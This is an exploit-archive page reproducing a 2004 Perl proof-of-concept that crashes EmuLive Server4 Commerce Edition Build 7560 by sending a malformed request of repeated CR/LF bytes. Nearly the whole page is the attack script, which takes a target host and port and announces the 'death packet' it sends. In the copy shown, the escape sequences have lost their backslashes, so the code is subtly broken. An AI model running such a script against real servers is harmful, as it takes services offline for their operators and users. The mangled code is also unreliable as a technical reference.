Emulive Server4 7560 Remote Denial of Service Exploit

[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]

# Title : Emulive Server4 7560 Remote Denial of Service Exploit
# Published : 2004-09-21
# Author : GulfTech Security
# Previous Title : MS Windows JPEG Processing Buffer Overrun Exploit (MS04-028)
# Next Title : Pigeon Server <= 3.02.0143 Denial of Service Exploit

#!/usr/bin/perl
##############################################
# EmuLive Server4 Commerce Edition Build 7560 
##############################################
# Remote crash proof of conecpt code. When the 
# machine running Server4 recieves a malformed
# request on TCP port 66 it crashes very hard!
##############################################
# GulfTech Security   http://www.gulftech.org
##############################################

use IO::Socket;

unless ($ARGV[0]) 
{ 
	die "usage: s4nomore.pl host port"
}

	printf("==========================================================n",);
	printf(" EmuLive Server4 Commerce Edition Build 7560 Remote Crash n",);
	printf("==========================================================n",);


	my $host = $ARGV[0];
	my $port = $ARGV[1];


	my $dead = "x0Dx0Ax0Dx0Ax0Dx0Ax0Dx0A". #rnrnrnrn
			   "x0Dx0Ax0Dx0Ax0Dx0Ax0Dx0A". #rnrnrnrn
			   "x0Dx0Ax0Dx0Ax0Dx0Ax0Dx0A". #rnrnrnrn
			   "x0Dx0Ax0Dx0Ax0Dx0Ax0Dx0A"; #rnrnrnrn


	my $i = IO::Socket::INET->new( Proto => "tcp",
							       PeerAddr  => $host,
								   PeerPort  => $port,
							       Timeout   => '100',
							       Type      => SOCK_STREAM,
							      ) || die("Connect Error");

		printf("[*] Sending Death Packet To %sn", $host);
		print $i $dead;	
		$i->autoflush(1);
		printf("[*] Host %s Should Now Be Deadn", $host);
		printf("[*] Closing Connections And Exiting  n");
		close $i;
		exit;

# www.Syue.com [2004-09-21]